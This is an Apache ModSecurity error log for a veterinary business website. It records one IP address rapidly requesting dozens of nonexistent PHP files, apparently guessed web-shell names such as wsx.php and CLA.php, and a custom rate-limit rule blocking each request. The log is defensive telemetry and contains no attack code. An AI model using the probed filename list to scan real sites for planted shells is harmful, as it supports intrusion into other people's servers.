[Sun Dec 07 22:47:10.688448 2025] [:error] [pid 9961:tid 9980] [client 4.190.185.215:37288] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mailer.php7"] [unique_id "aTWTbmQdnfbgcnzr89J-AAAAAVE"]
[Sun Dec 07 22:47:12.541601 2025] [:error] [pid 5222:tid 5226] [client 4.190.185.215:40099] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mailer.php7"] [unique_id "aTWTcN8FU0HgkYWmt7tRvAAAAEA"]
[Sun Dec 07 22:47:14.095307 2025] [:error] [pid 5312:tid 5317] [client 4.190.185.215:41936] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mailer.php7"] [unique_id "aTWTcuaM49rasZGg_o4TmQAAAAM"]
[Sun Dec 07 22:49:14.074253 2025] [:error] [pid 9610:tid 9626] [client 4.190.185.215:53949] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aTWT6sZ4Zl9G0UhQ7w1RNQAAAQ4"]
[Sun Dec 07 22:49:17.842534 2025] [:error] [pid 5223:tid 5267] [client 4.190.185.215:23020] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aTWT7foRJa-T0FB0DNr-AgAAAI0"]
[Sun Dec 07 22:49:20.084085 2025] [:error] [pid 9610:tid 9625] [client 4.190.185.215:45660] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aTWT8MZ4Zl9G0UhQ7w1RPAAAAQ0"]
[Sun Dec 07 22:49:22.006274 2025] [:error] [pid 5223:tid 5258] [client 4.190.185.215:24391] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aTWT8voRJa-T0FB0DNr-BQAAAIQ"]
[Sun Dec 07 22:49:24.104953 2025] [:error] [pid 9961:tid 9964] [client 4.190.185.215:42294] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eru.php"] [unique_id "aTWT9GQdnfbgcnzr89J-nwAAAUE"]
[Sun Dec 07 22:49:24.792513 2025] [:error] [pid 5222:tid 5227] [client 4.190.185.215:38998] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eru.php"] [unique_id "aTWT9N8FU0HgkYWmt7tSVQAAAEE"]
[Sun Dec 07 22:49:26.510353 2025] [:error] [pid 5223:tid 5273] [client 4.190.185.215:34665] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eru.php"] [unique_id "aTWT9voRJa-T0FB0DNr-CAAAAJM"]
[Sun Dec 07 22:49:29.529270 2025] [:error] [pid 5312:tid 5329] [client 4.190.185.215:46385] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eru.php"] [unique_id "aTWT-eaM49rasZGg_o4UKgAAAA8"]
[Sun Dec 07 22:49:31.389527 2025] [:error] [pid 9961:tid 9972] [client 4.190.185.215:24420] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTWT-2Qdnfbgcnzr89J-sQAAAUk"]
[Sun Dec 07 22:49:32.624188 2025] [:error] [pid 5224:tid 5284] [client 4.190.185.215:44135] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTWT_PAAkbWt7RJBoF_8EwAAAMM"]
[Sun Dec 07 22:49:35.927288 2025] [:error] [pid 5223:tid 5278] [client 4.190.185.215:44107] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTWT__oRJa-T0FB0DNr-FQAAAJg"]
[Sun Dec 07 22:49:37.993563 2025] [:error] [pid 9961:tid 9970] [client 4.190.185.215:28981] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTWUAWQdnfbgcnzr89J-twAAAUc"]
[Sun Dec 07 22:49:39.541660 2025] [:error] [pid 9961:tid 9977] [client 4.190.185.215:46374] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsx.php"] [unique_id "aTWUA2Qdnfbgcnzr89J-vAAAAU4"]
[Sun Dec 07 22:49:40.664013 2025] [:error] [pid 9961:tid 9967] [client 4.190.185.215:28335] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsx.php"] [unique_id "aTWUBGQdnfbgcnzr89J-wwAAAUQ"]
[Sun Dec 07 22:49:42.340798 2025] [:error] [pid 5224:tid 5286] [client 4.190.185.215:28339] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsx.php"] [unique_id "aTWUBvAAkbWt7RJBoF_8JgAAAMU"]
[Sun Dec 07 22:49:43.685027 2025] [:error] [pid 9961:tid 9987] [client 4.190.185.215:44138] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wsx.php"] [unique_id "aTWUB2Qdnfbgcnzr89J-ywAAAVg"]
[Sun Dec 07 22:49:47.025601 2025] [:error] [pid 9961:tid 9983] [client 4.190.185.215:22958] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/suy.php"] [unique_id "aTWUC2Qdnfbgcnzr89J-0QAAAVQ"]
[Sun Dec 07 22:49:48.696874 2025] [:error] [pid 5223:tid 5263] [client 4.190.185.215:28330] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/suy.php"] [unique_id "aTWUDPoRJa-T0FB0DNr-IAAAAIk"]
[Sun Dec 07 22:49:49.651258 2025] [:error] [pid 9961:tid 9969] [client 4.190.185.215:44531] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/suy.php"] [unique_id "aTWUDWQdnfbgcnzr89J-2AAAAUY"]
[Sun Dec 07 22:49:50.355295 2025] [:error] [pid 5312:tid 5327] [client 4.190.185.215:44488] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/suy.php"] [unique_id "aTWUDuaM49rasZGg_o4UVAAAAA0"]
[Sun Dec 07 22:49:51.423620 2025] [:error] [pid 9961:tid 9970] [client 4.190.185.215:40611] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dop.php"] [unique_id "aTWUD2Qdnfbgcnzr89J-3gAAAUc"]
[Sun Dec 07 22:49:53.323634 2025] [:error] [pid 5222:tid 5238] [client 4.190.185.215:22933] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dop.php"] [unique_id "aTWUEd8FU0HgkYWmt7tSfQAAAEw"]
[Sun Dec 07 22:49:55.530900 2025] [:error] [pid 5222:tid 5244] [client 4.190.185.215:40617] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dop.php"] [unique_id "aTWUE98FU0HgkYWmt7tShgAAAFI"]
[Sun Dec 07 22:49:55.851369 2025] [:error] [pid 5312:tid 5337] [client 4.190.185.215:5564] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dop.php"] [unique_id "aTWUE-aM49rasZGg_o4UXQAAABc"]
[Sun Dec 07 22:49:59.274402 2025] [:error] [pid 5312:tid 5332] [client 4.190.185.215:39045] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zde.php"] [unique_id "aTWUF-aM49rasZGg_o4UZQAAABI"]
[Sun Dec 07 22:50:00.204339 2025] [:error] [pid 5312:tid 5324] [client 4.190.185.215:43426] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zde.php"] [unique_id "aTWUGOaM49rasZGg_o4UaQAAAAo"]
[Sun Dec 07 22:50:01.121049 2025] [:error] [pid 9610:tid 9612] [client 4.190.185.215:40659] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zde.php"] [unique_id "aTWUGcZ4Zl9G0UhQ7w1RVwAAAQA"]
[Sun Dec 07 22:50:01.838765 2025] [:error] [pid 5223:tid 5257] [client 4.190.185.215:36475] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zde.php"] [unique_id "aTWUGfoRJa-T0FB0DNr-JgAAAIM"]
[Sun Dec 07 22:50:02.590568 2025] [:error] [pid 5222:tid 5239] [client 4.190.185.215:39043] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTWUGt8FU0HgkYWmt7tSjwAAAE0"]
[Sun Dec 07 22:50:03.936151 2025] [:error] [pid 5223:tid 5272] [client 4.190.185.215:5374] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTWUG_oRJa-T0FB0DNr-KgAAAJI"]
[Sun Dec 07 22:50:05.238991 2025] [:error] [pid 9610:tid 9621] [client 4.190.185.215:31780] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTWUHcZ4Zl9G0UhQ7w1RZwAAAQk"]
[Sun Dec 07 22:50:05.981102 2025] [:error] [pid 5222:tid 5245] [client 4.190.185.215:5373] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aTWUHd8FU0HgkYWmt7tSkgAAAFM"]
[Sun Dec 07 22:50:06.800045 2025] [:error] [pid 9610:tid 9635] [client 4.190.185.215:35125] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aTWUHsZ4Zl9G0UhQ7w1RbwAAARc"]
[Sun Dec 07 22:50:07.412446 2025] [:error] [pid 9610:tid 9636] [client 4.190.185.215:43415] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aTWUH8Z4Zl9G0UhQ7w1RcgAAARg"]
[Sun Dec 07 22:50:09.373930 2025] [:error] [pid 5223:tid 5260] [client 4.190.185.215:53977] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CLA.php"] [unique_id "aTWUIfoRJa-T0FB0DNr-LwAAAIY"]
[Sun Dec 07 22:52:02.686134 2025] [:error] [pid 9961:tid 9968] [client 4.190.185.215:38277] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nok.php"] [unique_id "aTWUkmQdnfbgcnzr89J_pwAAAUU"]
[Sun Dec 07 22:52:03.124399 2025] [:error] [pid 5223:tid 5278] [client 4.190.185.215:30460] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nok.php"] [unique_id "aTWUk_oRJa-T0FB0DNr-iwAAAJg"]
[Sun Dec 07 22:52:04.803446 2025] [:error] [pid 9610:tid 9618] [client 4.190.185.215:31451] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nok.php"] [unique_id "aTWUlMZ4Zl9G0UhQ7w1SKQAAAQY"]
[Sun Dec 07 22:52:06.615536 2025] [:error] [pid 5222:tid 5247] [client 4.190.185.215:46240] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nok.php"] [unique_id "aTWUlt8FU0HgkYWmt7tS_QAAAFU"]
[Sun Dec 07 22:52:08.407586 2025] [:error] [pid 5224:tid 5287] [client 4.190.185.215:30425] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asgtt.php"] [unique_id "aTWUmPAAkbWt7RJBoF_8sQAAAMY"]
[Sun Dec 07 22:52:10.984296 2025] [:error] [pid 9610:tid 9630] [client 4.190.185.215:44978] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asgtt.php"] [unique_id "aTWUmsZ4Zl9G0UhQ7w1SPQAAARI"]
[Sun Dec 07 22:52:11.697019 2025] [:error] [pid 5223:tid 5264] [client 4.190.185.215:44976] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asgtt.php"] [unique_id "aTWUm_oRJa-T0FB0DNr-mQAAAIo"]
[Sun Dec 07 22:52:12.764504 2025] [:error] [pid 5224:tid 5292] [client 4.190.185.215:35520] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asgtt.php"] [unique_id "aTWUnPAAkbWt7RJBoF_8twAAAMs"]
[Sun Dec 07 22:52:14.287624 2025] [:error] [pid 5223:tid 5277] [client 4.190.185.215:35579] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d57.php"] [unique_id "aTWUnvoRJa-T0FB0DNr-mgAAAJc"]
[Sun Dec 07 22:52:16.389887 2025] [:error] [pid 9961:tid 9979] [client 4.190.185.215:35567] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d57.php"] [unique_id "aTWUoGQdnfbgcnzr89J_3wAAAVA"]
[Sun Dec 07 22:52:16.910543 2025] [:error] [pid 9610:tid 9624] [client 4.190.185.215:31455] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d57.php"] [unique_id "aTWUoMZ4Zl9G0UhQ7w1SVAAAAQw"]
[Sun Dec 07 22:52:20.108389 2025] [:error] [pid 5312:tid 5327] [client 4.190.185.215:46053] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/d57.php"] [unique_id "aTWUpOaM49rasZGg_o4VEQAAAA0"]
[Sun Dec 07 22:52:22.467521 2025] [:error] [pid 5222:tid 5229] [client 4.190.185.215:46061] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aTWUpt8FU0HgkYWmt7tTCQAAAEM"]
[Sun Dec 07 22:52:24.035323 2025] [:error] [pid 5222:tid 5249] [client 4.190.185.215:5804] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aTWUqN8FU0HgkYWmt7tTCwAAAFc"]
[Sun Dec 07 22:52:26.880576 2025] [:error] [pid 5223:tid 5255] [client 4.190.185.215:29671] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aTWUqvoRJa-T0FB0DNr-oQAAAIE"]
[Sun Dec 07 22:52:27.672860 2025] [:error] [pid 5312:tid 5322] [client 4.190.185.215:43929] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file.php"] [unique_id "aTWUq-aM49rasZGg_o4VFwAAAAg"]
[Sun Dec 07 22:52:28.374249 2025] [:error] [pid 9961:tid 9967] [client 4.190.185.215:5787] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aTWUrGQdnfbgcnzr89J_6gAAAUQ"]
[Sun Dec 07 22:52:29.732025 2025] [:error] [pid 9610:tid 9629] [client 4.190.185.215:5807] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/manager.php"] [unique_id "aTWUrcZ4Zl9G0UhQ7w1SawAAARE"]
